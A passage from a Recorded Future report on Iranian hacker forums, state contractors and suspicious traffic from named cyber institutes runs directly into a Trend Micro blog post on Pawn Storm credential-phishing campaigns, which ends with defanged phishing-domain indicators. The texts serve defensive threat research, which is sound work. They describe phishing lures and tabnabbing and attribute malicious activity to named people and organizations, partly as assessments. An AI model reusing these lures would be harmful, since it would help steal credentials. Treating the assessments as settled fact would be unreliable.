Ashiyane temporarily became the primary security forum in Iran, following Behrooz Kamalian s visit to prominent cleric, Ayatollah Naser Makarem Shirazi. xman_1365_x created an Ashiyane profile in 2010. Finally, according to Insikt Group s source, Iranian contractor ITSEC specifically employed hackers from the respective online forums Simorgh and Delta Security. Further, Hossein Asgari, a self-proclaimed Iranian hacker, managed the Simorgh forum and worked with his father, who was employed by the IRGC. Source: http://hackingscripts.com/simattacker-shell/ Recorded Future | www.recordedfuture.com | CTA-2018-0509 Zone-h captured website defacements committed by Hossein Asgari Source: http://www.zone-h.org/mirror/id/4479919 According to Insikt Group s source, to find and retain the best offensive cyber talent, Iranian government contractors are forced to mine closed-trust communities. The links between the forums and contractors may illustrate that the trust communities begin with the Iranian security forums. Analyzing Iranian Cyber Institute Internet Traffic Insikt Group analyzed internet traffic relating to various institutes affiliated with the Iranian cyber ecosystem from March 1, 2018 to April 30, 2018. Our goal was to determine whether any of these institutes had forecasted Iran intentions in cyberspace leading up to the U.S. decision to withdraw from the 2015 JCPOA. This is Insikt Group s first profiling of internet activity for Iranian cyber institutes. While we cannot assess whether this level of activity is typical or not, monitoring it over time to determine changes in response to international pressure could be revealing. Cyberspace Research Institute of Iran Iran s Cyberspace Research Institute (CSRI) is a research center affiliated with the prestigious Shahid Beheshti University in Iran. The institute commands a significant proportion of the university s allocated IP space, with no fewer than eight /24 IP ranges registered to the CSRI in Iran, according to regional RIPE NCC records. The ranges are listed below: Recorded Future | www.recordedfuture.com | CTA-2018-0509 netname inetnum_start inetnum_end country mnt-by created CyberSpace-Research-Institute 31.184.130.0 31.184.130.255 MNT-MABNA 2013-08-31T06:02:20Z CyberSpace-Research-Institute 31.184.131.0 31.184.131.255 MNT-MABNA 2013-09-15T04:57:21Z CyberSpace-Research-Institute 31.184.132.0 31.184.132.255 MNT-MABNA 2013-09-15T05:02:03Z CyberSpace-Research-Institute 31.184.133.0 31.184.133.255 MNT-MABNA 2013-09-15T05:10:24Z CyberSpace-Research-Institute 31.184.134.0 31.184.134.255 MNT-MABNA 2013-09-15T05:11:21Z CyberSpace-Research-Institute 31.184.135.0 31.184.135.255 MNT-MABNA 2017-05-23T05:30:27Z Source: RIPE NCC database, ripe.net. Insikt Group identified several activities of concern emanating from these ranges. We discovered over 400 previously unreported SSH sessions between CSRI ranges and Spanish government and university networks from April 4, 2018 to April 9, 2018. These exchanges involved the transfer of a large volume of data between the two networks. The Spanish networks resolved to departments supporting the digital transformation of Spanish public services and multi-disciplined universities. Direct network connectivity between the Iranian and Spanish institutions demonstrates that they either have a deep academic relationship and are sharing data with one another, or the large transfer of data from the Spanish institutes is unwarranted. It is unlikely that CSRI would have a valid business interest with Spanish government departments, so the large volume of data transferred between the two networks over such a short period of time is a conspicuous indicator of possibly malicious activity. Throughout April, Iran s CSRI simultaneously demonstrated an increased interest in the Philippine Department of Science & Technology (DOST). Similar to the Spanish network interactions, very large data volumes were exchanged between the two networks, denoting strong interest. This level of engagement and interaction, particularly in light of the reduction of sanctions, and the thawing of relations between Iran and the West following the 2015 JCPOA, was expected between academia. In fact, in 2015 and 2017, Philippine and Spanish universities agreed to expand scientific cooperation with Iranian institutions. However, given CSRI s background, Iran s demonstrated interest in using cyber operations to steal academic and intellectual property, and our evidence of ongoing campaigns targeting universities for theft worldwide, we assess that this activity between CSRI and these Spanish and Philippine universities may be malicious. Recorded Future | www.recordedfuture.com | CTA-2018-0509 CSRI was also observed in a large number of events dispatching the Parsijoo bot to crawl websites of interest. According to Wikipedia, Parsijoo.ir is the second most popular search engine in Iran after Google and it uses the Parsijoobot to crawl websites for indexing purposes. During our research, we noted repeated crawls of a specialist Canadian-Iranian immigration website, www.itc-canada[.]com, using Parsijoo bot from CSRI IP ranges. The crawls were observed throughout our data period from early March continuing right through to the end of April, suggesting a strong, persistent interest in this particular site. Finally, we identified CSRI interacting with IPs registered to Ravand Cybertech Inc. Ravand Cybertech offers, via its website ravand[.]com, cloud hosting solutions, among other services. Ravand Cybertech has strong ties to the Iranian regime. Historically, it hosted the website of the conservative news agency Fars which is affiliated with the Iranian military. The company s registered IP ranges sit under AS12212 with the following prefixes ranged 198.55.48.0 198.55.61.255, 198.55.63.0 198.55.63.255 and 207.176.216.0 207.176.219.255. Ravand Cybertech hosted a number of domains used by an Iranian Ministry of Intelligence Services (MOIS) agent, Massoud Khodabandeh, in a disinformation campaign conducted in Western media. The campaign attempted to discredit and demonize the main Iranian opposition party, the People s Mojahedin Organization of Iran/Mojahedin-e Khalq (PMOI/MEK). According to an opinion piece written for The Hill, the websites were found by the Pentagon to be created by order from Tehran. Ravand Cybertech was identified as being an Iranian state-run company, which hosted fake news sites aimed at disseminating Iranian propaganda to undermine the efforts of Iranian-American lobbyists. Based on the volume of activity observed during our research, we assess the CSRI may be engaged in supporting the malicious disinformation activities of Ravand Cybertech. Imam Hossein University (Imam Hussein University) The Imam Hossein Comprehensive University (IHU) is an Iranian university based in Tehran that is affiliated with the Iranian Revolutionary Guard Corps (IRGC), the Iranian Ministry of Science, Research and Technology, and the Iranian Ministry of Defense and Armed Forces Logistics. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Our research focused on the publicly noted IP ranges for the university, listed below: netname inetnum_start inetnum_end IMAMHOSSEINUNI 217.218.175.0 217.218.176.255 IHUO 78.39.164.160 78.39.164.167 country mnt-by created AS12880-MNT 2008-12-28T10:20:37Z AS12880-MNT 2015-09-05T04:48:32Z Source: RIPE NCC database, ripe.net. During our research, we found that IHU was also very interested in Spanish higher educational establishments and specific government departments. In fact, two of the same Spanish establishments exchanged high data volumes with the IHU source range IPs. Further web browsing activity from IHU ranges was noted to the website of a U.S.-based multinational engineering software company, Gamma Technologies. The browsing activity was centered on its GT-SUITE software. Gamma Technologies specializes in the development of simulation software for a wide variety of worldwide industries, including power generation. Mabna Institute As previously detailed, the Mabna Institute was publicly identified in an FBI indictment as a front company engaged in hostile state-sponsored cyberespionage on behalf of the Iranian state. Our OSINT research identified a single domain, mabna-ins[.]ir, which could correspond to the group. The domain was previously hosted on an Iranian IP 5.144.130[.]23 and since April 22, 2017, points at German VPS IP 144.76.87[.]86. This VPS also hosts over 2,000 other domains, most of which are .ir domains. Recorded Future | www.recordedfuture.com | CTA-2018-0509 Source: mabna-ins[.]ir Intent, Scenarios for Retaliation, and Recommendations According to the terms of the JCPOA, Tehran agreed to restrictions on its nuclear weapons program in exchange for sanctions relief. However, various provisions of the accord expire at different times over the next 25 years, with some expiring as soon as 2025. On May 8, 2018, President Trump decided not to renew the waivers suspending some U.S. sanctions against Iran and initiated a de facto U.S. withdrawal from the agreement. As a result of this action, we assess that Iran will likely respond quickly by launching destructive attacks on American, European, and rival nation (countries such as Saudi Arabia and Israel) businesses. Conversely, Iran may also retaliate (exclusively or in conjunction with destructive attacks) through cyber proxies in more methodical and sustained campaigns. Given the impact of re-applied and expanded economic sanctions, it is likely that American, European, and rival nation businesses will also be targeted with more sustained destructive attacks. Recorded Future | www.recordedfuture.com | CTA-2018-0509 As documented above, when pursuing quick-turn cyber operations, the Iranian regime will weigh religious and political reliability against offensive skills. The best operators are not always the most devout or loyal to the regime and we assess that, in this case, the IRGC may forgo careful contractor selection and planning in an attempt to deliver a destructive attack within a short period of time. Further, our research indicates that because of the need for a quick response, the Islamic Republic may utilize contractors that are less politically and ideologically reliable (and trusted) and as a result, could be more difficult to control. It is possible that this dynamic could limit the ability of the government to control the scope and scale of these destructive attacks once they are unleashed. Western businesses should closely monitor geopolitical events initiated by the United States or Europe that affect Iran. As demonstrated above, Western businesses are the logical victims of Iranian retaliation for perceived American policy transgressions; specifically businesses in financial services, government departments, critical infrastructure providers, and oil and energy sectors. In addition to carefully monitoring Iranian geopolitical developments, tracking emerging tactics, techniques, and procedures (TTPs) on Ashiyane, specifically, is wise for any Western commercial threat intelligence program to determine the efficacy of existing security controls. Recorded Future | www.recordedfuture.com | CTA-2018-0509 About Recorded Future www.recordedfuture.com @RecordedFuture Recorded Future arms security teams with the only complete threat intelligence solution powered by patented machine learning to lower risk. Our technology automatically collects and analyzes information from an unrivaled breadth of sources and provides invaluable context in real time and packaged for human analysis or integration with security technologies. Recorded Future, Inc. All rights reserved. All trademarks remain property of their respective owners. Update on Pawn Storm: New Targets and Politically Motivated Campaigns blog.trendmicro.com/trendlabs-security-intelligence/update-pawn-storm-new-targets-politically-motivated-campaigns/ Feike Hacquebord (Senior Threat Researcher) January 12, 2018 In the second half of 2017 Pawn Storm, an extremely active espionage actor group, didn t shy away from continuing their brazen attacks. Usually, the group s attacks are not isolated incidents, and we can often relate them to earlier attacks by carefully looking at both technical indicators and motives. Pawn Storm has been attacking political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States since 2015. We saw attacks against political organizations again in the second half of 2017. These attacks don t show much technical innovation over time, but they are well prepared, persistent, and often hard to defend against. Pawn Storm has a large toolset full of social engineering tricks, malware and exploits, and therefore doesn t need much innovation apart from occasionally using their own zero-days and quickly abusing software vulnerabilities shortly after a security patch is released. In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks. Pawn Storm s modus operandi is quite consistent over the years, with some of their technical tricks being used repeatedly. For example, tabnabbing was used against Yahoo! users in August and September 2017 in US politically themed email. The method, which we first discussed in 2014, involves changing a browser tab to point to a phishing site after distracting the target. We can often closely relate current and old Pawn Storm campaigns using data that spans more than four years, possibly because the actors in the group follow a script when setting up an attack. This makes sense, as the sheer volume of their attacks requires careful administration, planning, and organization to succeed. The screenshots below show two typical credential phishing emails that targeted specific organizations in October and November 2017. One type of email is supposedly a message from the target s Microsoft Exchange server about an expired password. The other says there is a new file on the company s OneDrive system. Figure 1. A sample of a credential phishing email Pawn Storm sent in October and November 2017 Figure 2. Second type of credential phishing email that was sent by Pawn Storm in November 2017. The logo of the target organization has been removed from the screenshot and the color was changed as not to reveal the source. While these emails might not seem to be advanced in nature, we ve seen that credential loss is often the starting point of further attacks that include stealing sensitive data from email inboxes. We have worked with one of the targets, an NGO in the Netherlands targeted twice, in late October and early November 2017. We successfully prevented both attacks from causing any harm. In one case we were able to warn the target within two hours after a dedicated credential phishing site was set up. In an earlier attack, we were able to warn the organization 24 hours before the actual phishing emails were sent. Olympic Wintersports Federations We have seen several International Olympic Wintersport Federations, such as the European Ice Hockey Federation, the International Ski Federation, the International Biathlon Union, the International Bobsleigh and Skeleton Federation and the International Luge Federation, among the group s targets in the second half of 2017. This is noteworthy due to the timing correlation between several Russian Olympic players being banned for life in fall, 2017. In 2016, Pawn Storm had some success in compromising WADA (the World Anti-Doping Agency) and TASCAS (the Court of Arbitration for Sport). At that time, Pawn Storm sought active contact with mainstream media either directly or via proxies and had influence on what some of them published. Political targets In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users. We were able to collect evidence that credential phishing emails were sent to chmail.ir users on May 18, 2017, just one day before the presidential elections in Iran. We have previously reported similar targeted activity against political organizations in France, Germany, Montenegro, Turkey, Ukraine, and the United States. Beginning in June 2017, phishing sites were set up mimicking the ADFS (Active Directory Federation Services) of the U.S. Senate. By looking at the digital fingerprints of these phishing sites and comparing them with a large data set that spans almost five years, we can uniquely relate them to a couple of Pawn Storm incidents in 2016 and 2017. The real ADFS server of the U.S. Senate is not reachable on the open internet, however phishing of users credentials on an ADFS server that is behind a firewall still makes sense. In case an actor already has a foothold in an organization after compromising one user account, credential phishing could help him get closer to high profile users of interest. The future of politically motivated campaigns Rogue political influence campaigns are not likely to go away in the near future. Political organizations have to be able to communicate openly with their voters, the press and the general public. This makes them vulnerable to hacking and spear phishing. On top of that, it also relatively easy to influence public opinion via social media. Social media platforms continue to form a substantial part of users online experience, and they let advertisers reach consumers with their message. This makes social media algorithms susceptible to abuse by various actors with bad intentions. Publishing stolen data together with spreading fake news and rumors on social media gives malicious actors powerful tools. While a successful influence campaign might seem relatively easy to do, it needs a lot of planning, persistence, and resources to be successful. Some of the basic tools and services, like ones used to spread fake news on social media, are already being offered as a service in the underground economy. As we have mentioned in our overview paper on Pawn Storm, other actors may also start their own campaigns that aim to influence politics and issues of interest domestically and abroad. Actors from developing countries will learn and probably adapt similar methods quickly in the near future. In 2016, we published a report on C Major, an espionage group that primarily targets the Indian military. By digging deeper into C Major s activities, we found that this actor group not only attacks the Indian military, but also has dedicated botnets for compromised targets in Iranian universities, Afghanistan, and Pakistan. Recently, we have witnessed C Major also showing some interest in compromising military and diplomatic targets in the West. It is only a matter of time before actors like C Major begin attempting to influence public opinion in foreign countries, as well. With the Olympics and several significant global elections taking place in 2018, we can be sure Pawn Storm s activities will continue. We at Trend Micro will keep monitoring their targeted activities, as well as activities of similar actors, as cyberpropaganda and digital extortion remain in use. Indicators of Compromise (IoCs): adfs[.]senate[.]group adfs-senate[.]email adfs-senate[.]services adfs.senate[.]qov[.]info chmail.ir[.]udelivered[.]tk webmail-ibsf[.]org fil-luge[.]com biathlovvorld[.]com mail-ibu[.]eu fisski[.]ca iihf[.]eu